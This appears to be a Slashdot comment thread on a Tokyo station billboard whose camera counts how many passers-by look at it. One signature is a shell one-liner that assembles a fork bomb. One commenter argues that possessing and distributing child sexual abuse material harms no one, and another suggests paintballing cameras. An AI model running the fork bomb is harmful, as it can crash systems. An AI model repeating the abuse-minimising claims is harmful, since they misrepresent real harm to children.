Slashdot Mirror
In Japan, a Billboard That Watches You
An anonymous reader writes "At a Tokyo railway station above a flat-panel display hawking DVDs and books sits a small camera hooked up to some image processing software. When trials begin in January the camera will scan travelers to see how many of them are taking note of the panel, in part of a technology test being run by NTT Communications. It doesn't seek to identify individuals, but it will attempt to figure out how many of the people standing in front of an advertisement are actually looking at it. A second camera, which wasn't fitted at the station but will be when tests begin next month, will take care of estimating how many people are in front of the ad, whether they are looking at it or not."
Wait, what?
Grammar is overrated.
Hence the expression "In Soviet Korea, billboard watches YOU!"
Thanks, I'll be here all week. Try the dog.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I have, many times, and I can honestly say that the only thing I'm looking at are the women. Ninjas sitting on the camera mounting, firing those little star things and nunchuks at me? I wouldn't even notice.
Some people will say "slippery slope", and others will declare that the phrase is a fallacy. As a shortcut description of the probably course of events, "slippery slope" is just fine. In this case:
1: Billboards watch people.
2: These billboards are more popular and are put into more common use.
3: Information from a billboard cam is subpoenaed.
4: Some bright young chap in politics notices that (a) There are cameras everywhere that could be used to observe the populace, (b) The information from these cameras isn't in use, and (c) He is up for re-election soon and needs some dirt on his opponent.
5: This politician will make a bill to monitor the billboards. Anyone in opposition will be "soft on crime", "unwilling to monitor dangerous criminals", and "must be hiding something."
6: Sooner or later, Minority Report.
If video games influenced behavior the Pac Man generation would be eating pills and running away from their problems.
Seriously. If kdawson wanted to do the Soviet Russia thing, it should have gone "In Japan, billboard watches YOU!" Or it could have been straight up informative like "Billboards monitors eyeball hits" or something. WTF?
Set your phasers on "funky"!
The same technology is used even in Poland, which is still seen by the western world as a "developing country". By the way, see this.
Build a tool even an idiot can use and only an idiot will want to use it. -S.O.B.
NO, NO, NO, NO, NO!!
How dare you Japan! How very DARE you take over the classic 'soviet russia' joke! That is just NOT funny!
I am very, VERY disappointed in you Japan. And I hope you are ashamed of yourself!
I RTFA (sorry!) and it doesn't say. As I live there I'd be interested in taking a look.
(I know I won't be tracked or even just mess up their trial statistics, what with me being a foreigner and all that: "We gathered together many faces and came up with an average Japanese face, and by using pattern matching the system recognizes faces from the image.")
Let me know when the billboard ads for the personal/cleaning/pleasure toy robots are put up in the mall and they jump out at you while you are walking, yelling, "Buy me!" then that will be pretty damn impressive.
Seriously though, a bit sneaky, but fascinating that they want a headcount of who walks by these marketing ads. I wonder if they realize how numb the public is to this by now? I don't know if there have been studies, but it seems to me, the older you get, the less you want, I could be wrong, I am just speaking from personal experience.
Minority Report. Serves the double purpose of marketing to individual preferences, and also keeping track of the populace.
~ I am logged on, therefore I am.
Someone tag this "TheGreatGatsby"
that the billboard will be able to dodge incoming shoes?
telescreen, to me....
After checking whoever looks at ad, they compare the picture to facebook, find the victim, check google records for more information and then target the ads directly at the user.
Whenever there's only one person looking at the billboard, have its contents change subtly. For example, a character on the billboard could briefly glance at the viewer. Do it, Japan!
This is old news in the DOOH sector (digital out of home). Audience measurement is key in establishing value for potential clients. Simply knowing the footfall for a venue is useless if no one is actually looking at the screens.
As someone above mentioned, TruMedia are one of the forefathers of the technology, but there are many out there. They all maintain that no video is stored. It simply analysis age (split into 3 groups) and gender. Some broadcast software (ie Scala) can take prompts from the camera package and change the media based on the viewer.
Digital 6-sheets are now being built with the cameras built in, so it's not quite so obtrusive.
I thought the point of ads was that you didn't look at them. Subliminal messages come across best when you don't notice them...
Attach there some evolution algorithm which will slowly improve 'peoples attention time' by analyzing their behavior and after few days, you have ad everybody must watch. Imagine that you walk across the street an perfect ad get your attention and you can avoid it. That's scary.
Sure that was Japan and not Soviet Russia?
In a British station you would need a way of knowing whether the passengers were looking at the advert, reading the grafitti, or looking through the hundreds of "high class escort agency" adds that had been stuck on.
When you're not looking, this billboard is in engrish.
I know I know, go to my corner.
Local pranksters have stolen a similar billboard that was set up for similar testing inside a mall and conveniently placed it directly across from the railway station's new "spy board", resulting in what is now being dubbed "the world's longest staring competition".
In the USA there are billboards that receive the LO local oscillator leakage transmitted by your cars radio and adjust the advertisement to target your listening .
This has potential nefaruious uses :
For example , a radio station transmits some anti-libal stuff, like opposition to Interracial or queer marriages or being against illegal immigrants . The liberal lawmakers can count how many bad people are in a state or areas .
Of course if they wanted , they can add electronics to read your licnse plate too,Do they do this now ? who knows . As far as I know they only do targeted advertising.
Background
Every radio receiver is also transmitter.
Some energy in transmitted out of its antenna.
Anyone who has ever been fined or arrested in a state where radar detectors (which are receivers) are outlawed might victims of this technology .
My company has patented and is working on radio receivers for police that detect cellphones too,thus alerting the officer to them when very close . In hopes of generating revenue for their jurisdictions where use is banned or hands free devices are required, the fines can be stiff.
Every time I've seen your sig "I am the cheese", I almost want to disregard everything else you've said.
That says something about you...
I understand that child porn is a legislation gateway for something-nefarious(tm), BUT currently viewing child porn IS NOT illegal. In fact, if you ever serve on the jury for a case about child porn PRODUCER, you may have to view some as evidence. What is illegal is 1) paying for it 2) storing or distributing it 3) creating it.
What I mean to say, but don't because it makes an awkward sentence is: Paying for, storing, distributing, and filming child porn: Thought crime.
In each of these cases, your helping create supply and/or demand
I dispute this. Only paying for it creates demand.
which does in fact hurt children.
I dispute that too. The only action of those specified that hurts a child is actual abuse, and only that and directly commissioning such should be a crime.
Currently, accidentally downloading child porn or viewing is unlikely to attract FBI attention, unless you do it a lot (and how can that be accidental?) I mean, if the FBI acted on that, they'd be arresting huge swaths of 4chan members at a time, since that stuff is (somewhat) frequently posted on message threads. If you do accidentally download it, you are probably tech savvy enough, being a Slashdot poster, to clean out your temporary files.
When it comes right down to it, seeing your signature makes me wonder if you are in fact, a pedophile. If you are, and you've never committed a crime, great! but that's your business. However, it still hurts your reputation to have that out in the open and it muddies the real issues.
I think it is a real issue. I have a serious problem with other people's information flow being stopped by any entity for any reason. If people don't like this point of view then I have at least made them think. If my reputation takes a hit because people are prejudiced against pedophiles, so be it. I sincerely appreciate your mostly unbiased approach to this controversial subject.
If video games influenced behavior the Pac Man generation would be eating pills and running away from their problems.
*puts sock on head*
Please stop stalking me, bro.
They're currently testing the same kind of billboards in France, in the subway station of the Champs Elysee.
like those, they check who & what they watch to see effiency of the ads. But the camera is also here to record if someone breaks the screen.
This isn't really a valid test at all, I look at every ad I see, it doesn't mean I'm paying attention to it.
From the article at least, it doesn't look like they're doing anything particularly special, here. Segmenting people from the background and running something like eigenface classification or template matching on the foreground... anyone who's halfway competent with some of the major computer vision libraries out there could probably write something like this without really straining. Especially if it's in a partially-controlled environment with good lighting.
i'd ban Billboards. wastes of space. used for covering unmaintained eye sore government property, or just an eye sore in themselves.
i don't think i can remember any advertising campaign, or anything good that was on a bill board.
boo hiss etc.
Audience measurement has been going on for a while in the Digital Out of Home (DOOH) sector. Many well-established companies work on this sector: TruMedia, Quividi, Wututu are familiar names in the industry.
For more information, the DailyDOOH blog:
http://www.dailydooh.com/archives/5265
http://www.dailydooh.com/archives/2043
...welcome our billboardic overlords
.
So once the first person put up the first camera, he thus granted license for 24x7 surveillance of the entire populace? Why should anyone have any problem with it, others are doing it!
I guess I'll go out and murder my grandmother. Hey, I don't understand why this is a big issue as there are plenty of other murders in most major cities.
If someone is unethical, pointing out that other people are also unethical should NOT be a justification.
- Roads, transit systems allow anonymous movements or some lanes are not considered "public" (hence it is illegal to watch the ID of the cars going there)
Why just roads? Can't I walk down the street without risk of being monitored and tracked? Actually, I personally don't care - but someone might, and that brings up the real issue at hand.
As technology develops, the ability to use that technology to the detriment of the individual increases. We need laws that protect us against unfair government use - that keep the government subjugated to the people, not the people subjugated to the government.
In this case, I think that a subpeona ought to be required to get tracking information on a person: the issue of wearing anonymizing clothing should be unrelated. A private citizen or other legal entity (such as a company) should have to sue for similar information.
Video archives should not be freely consultable. The issue is that someone will have to maintain them, and companies should be given no additional incentive to do so, because that gives them incentive to observe. The government should not maintain them, because the government is not good about keeping information from itself. Companies and private individuals should be allowed to maintain what archives they deem appropriate, but at their own expense. What they should be required to keep is an archive of creation and deletion - so that it is transparent if there is an irregularity in the pattern.
Finally, I think we all have to get used to the fact that we're going to be watched going to GeekCon99, or the porn store, or to a pub, or to a church. We're going to have to get over that as a social stigma, because guess what? Everyone does it, making it the truth. Rather than trying to suppress technology that records observations, or makes hiding things harder, we should simply try to make sure our rights are well protected. I have the right to go to any of those places.
That brings us around to the clothing issue, and why it's separate: if a law is passed that you cannot wear a mask so that cameras stand a better chance of telling the government whats what - well, that's a breach of my civil rights. I'm being forced to report unfairly on myself to the government. The camera isn't even at question there - it's like presently having to state your name to every cop that you see. The camera simply becomes the mechanism by which you report. The government should only be able to require you to do things that prevent you from infringing on others' freedoms, never anything that simply makes it harder for you to be a anonymous. Because those inevitably are poorly targetted and don't work well.
[Ego]out
the shark *still* looks fake.
Table-ized A.I.
Yeah, most of the time I watch TV (which is rare, with all I do on the 'Net), it's stuff that's DVR'ed
I often find myself pausing the show for the express purpose of having lead time to skip commercials, even if I'm *able* to sit down and watch the show right then and there.
DVRs are also useful for sporting events: skip through the dead time inbetween plays; the game goes faster and you still get to see the general course of events.
(American football generally has 30 sec. between plays, so the commercial-skipping button is also quite useful here)
I listen to both RIAA and non-RIAA stuff if I like the music, tangential business/politics nonwithstanding.
It won't be long before the billboards switch as we pass them and scream our names to get our attention.
3: Information from a billboard cam is subpoenaed. ... 5: a bill to monitor the billboards. Anyone in opposition will be "soft on crime", "unwilling to monitor dangerous criminals", and "must be hiding something."
6: Sooner or later, Minority Report.
That's one of many slippery slopes (though, humorously, my slope also ends in Minority Report...)
Another that comes to mind is statistics, which have always been very integral to advertising, but Google is pushing this angle HARD. Basically, the more statistical data you have, the better you can target ads and thus the better you are at pushing products. This means that it is advantageous to the advertiser to discriminate as much as possible.
Example: figure out what brand clothes and items passers-by wear; if people who wear brand-name shoes pay more attention, you might want to put brand-name apparel on the ads. To push that even further, people who wear lots of bulky gold jewelry tend to like rap, so advertising the latest rap albums might turn more heads.
Worse example: This is not limited to your fashion; different classes, ages, and ethnic groups tend to react differently to ads, so they can decide that since there are lots of Hispanic passers-by, an ad targeting them would be logical.
If you've ever seen the ads in Minority Report , you have a pretty good glimpse into what this can do, even without figuring out exactly who you are by an implant, device, or facial recognition database: Dynamic displays that understand the nature of their viewer at any given moment would merely change the displayed ad to reflect each viewer. Multi-directional ads would be able to target multiple groups simultaneously. In addition, such things should suck people in (similar to the way television does), providing additional product-pushing and brand-building power.
To those of you who scoff at this sort of thing: don't. Targeted advertising is straight-up dangerous, even the stuff you think you successfully ignore, as proven by P.T. Barnum with saturation advertising (e.g. lining the walls along a street with the same ad poster over and over again) and later perfected through corporate brand building.
Over time, extremely well-targeted ads slowly wear away at your reason, biasing you in unnoticeable increments towards whatever products the advertisers are pushing. You are losing your individuality, and the corporate advertising agencies are slowly gaining influence on you in ways that colleagues, friends and family used to (rightly) monopolize. This means biasing your decision-making, your morals, your vote, and how you raise your children.
Use my userscript to add story images to Slashdot. There's no going back.
"The stock of Ichi Ban Tuna Ice Cream hit a new high following analysis of data from their eye-tracking billboards, showing dozens of people were looking at them for extended periods. Substantial investment was made in creating more manufacturing and distribution facilities. However, the stock then plummeted when it was found that the data represented dozens of Hello Kitty dolls being propped up in front of many of the billboards. The earlier investment was written off as a corporate loss. The corporate officers are said to be re-evaluating use of the technology. Hello Kitty had no comment."
Social solutions are the best solutions to technical problems, because you can't work around society, something most technical people aren't trained to grasp.
"I may be synthetic, but I'm not stupid." -- Bishop 341-B
Create a billboard that wants to be looked at.. Start the billboard out with totally random graphics, and then, do the genetic algorithm thing and produce 10 or 20 variants, and see which one gets the most looks, then take it mutate it and repeat.
eventually you will create what could be considered the best possible public work of art which is enjoyed by the most number of people.
I would very much like to see what it produces.
http://selectparks.net/~julian/theartvertiser
All your billboard are belong to us!
I also enjoyed the unjustified assumption in the /. summary, "It doesn't seek to identify individuals". This assessment is utterly unverifiable no matter who said it. It could be an outright lie or it could be the truth and the recording is passed to someone for whom that is the case. For all we know, the feed is being recorded and will be fed to some future face identification software which will seek to identify individuals. Or the feed is improperly secured and (contrary to the wishes of the billboard owner) is feeding someone a stream of data right now which will be fed to programs that seek to identify individuals. People do all sorts of interesting things with recordings after they're made. People also inadvertently leak information. It doesn't seem to me beyond the pale that one might seek to identify individuals later when the software to do that job is more reliable.
I can see an argument of no reasonable expectation of privacy when one is in public, but I don't know if that theory would hold water in Japan (either legally or with the Japanese people). As far as the technical requirements for doing exactly what the summary claims isn't happening, I don't buy the /. summary for an instant.
Digital Citizen
For $15, you can buy a cardboard cutout with a face.... and fasten it on the opposite wall.
For 10 cents a copy, you could copy a lot of faces.
Or you could put a face on the back of your head (2 eye spots perhaps).
And then there is always simple vandalism of the cameras (like paint-balling traffic cameras, fast easy, good range, cheap)
She was like chocolate when she drank... semi-sweet at first and then increasingly bitter.
Four LCD ads panels designed by Samsung have been installed in the Parisian RATP subway stations corridors at the beginning of december, 400 will follow by june 2009, and so on (up to 1200 panels including the SNCF railway stations corridors) replacing progressively the previous backlit panels.
They are 70 inches full-HD LCDs, equipped with two cameras with a 140Â view angle, some technical information is available here :
http://www.01net.com/editorial/397944/la-pub-s-anime-sur-ecran-lcd-dans-le-metro-parisien/
picture of the back panel :
http://www.01net.com/editorial/397944/la-pub-s-anime-sur-ecran-lcd-dans-le-metro-parisien/?implus=/images/134917.jpg
and the first panels degraded by activists are pictured here :
http://bap.propagande.org/modules.php?name=Forums&file=viewtopic&p=28294
The next thing will be folks such as read slashdot walking up to the thing and pretending to be interested . . . at all the wrong points.
Cranky educator.